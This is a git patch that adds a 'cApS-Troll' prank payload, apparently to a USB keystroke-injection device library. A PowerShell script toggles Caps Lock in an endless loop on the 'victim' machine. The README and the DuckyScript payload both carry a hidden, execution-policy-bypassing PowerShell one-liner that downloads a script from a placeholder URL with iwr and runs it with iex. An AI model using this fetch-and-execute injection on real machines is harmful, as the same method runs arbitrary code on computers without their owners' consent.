From 2266a9ddf65599c790a9025651941bcd9995b4ee Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Fri, 16 Dec 2022 14:01:05 -0500 Subject: [PATCH] New Payload - cApS-Troll (#566) * Add files via upload * Add files via upload * Add files via upload * Update payload.txt --- payloads/library/prank/cApS-Troll/README.md | 105 ++++++++++++++++++ payloads/library/prank/cApS-Troll/a.ps1 | 17 +++ payloads/library/prank/cApS-Troll/payload.txt | 18 +++ 3 files changed, 140 insertions(+) create mode 100644 payloads/library/prank/cApS-Troll/README.md create mode 100644 payloads/library/prank/cApS-Troll/a.ps1 create mode 100644 payloads/library/prank/cApS-Troll/payload.txt diff --git a/payloads/library/prank/cApS-Troll/README.md b/payloads/library/prank/cApS-Troll/README.md new file mode 100644 index 00000000..d7011865 --- /dev/null +++ b/payloads/library/prank/cApS-Troll/README.md @@ -0,0 +1,105 @@ +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
    2. +
  2. Getting Started
    3. +
  3. Contributing
    4. +
  4. Version History
    5. +
  5. Contact
    6. +
  6. Acknowledgments
    7. +
+
+ +# cApS-Troll + +This payload is meant to prank your victim with TURNING on AND off CAPS LOCK + +## Description + +This payload is meant to prank your victim with TURNING on AND off CAPS LOCK + +## Getting Started + +### Dependencies + +* Dropbox or other file sharing service +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Device will download the file and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) & +[I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube + 		+ + Python + +
Twitter + 		+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/prank/cApS-Troll/a.ps1 b/payloads/library/prank/cApS-Troll/a.ps1 new file mode 100644 index 00000000..fa7129c1 --- /dev/null +++ b/payloads/library/prank/cApS-Troll/a.ps1 @@ -0,0 +1,17 @@ +while (1){ +Start-Sleep -Second 45 +$wsh = New-Object -ComObject WScript.Shell +$wsh.SendKeys('{CAPSLOCK}') +Start-Sleep -Second 15 +$wsh = New-Object -ComObject WScript.Shell +$wsh.SendKeys('{CAPSLOCK}') +Start-Sleep -Second 15 +$wsh = New-Object -ComObject WScript.Shell +$wsh.SendKeys('{CAPSLOCK}') +Start-Sleep -Second 15 +$wsh = New-Object -ComObject WScript.Shell +$wsh.SendKeys('{CAPSLOCK}') +Start-Sleep -Second 15 +$wsh = New-Object -ComObject WScript.Shell +$wsh.SendKeys('{CAPSLOCK}') +} \ No newline at end of file diff --git a/payloads/library/prank/cApS-Troll/payload.txt b/payloads/library/prank/cApS-Troll/payload.txt new file mode 100644 index 00000000..9dc8ab8f --- /dev/null +++ b/payloads/library/prank/cApS-Troll/payload.txt @@ -0,0 +1,18 @@ +REM Title: cApS-Troll + +REM Author: atomiczsec + +REM Description: This payload is meant to prank your victim with TURNING on AND off CAPS LOCK + +REM Target: Windows 10 + +"URL='http://example.com/powershell.ps1?dl=1'" + +QUACK DELAY 2000 +QUACK GUI r +QUACK DELAY 500 +QUACK STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr $URL ; iex $pl +QUACK ENTER + +REM Remember to replace the link with your DropBox shared link for the intended file to download in the URL variable +REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly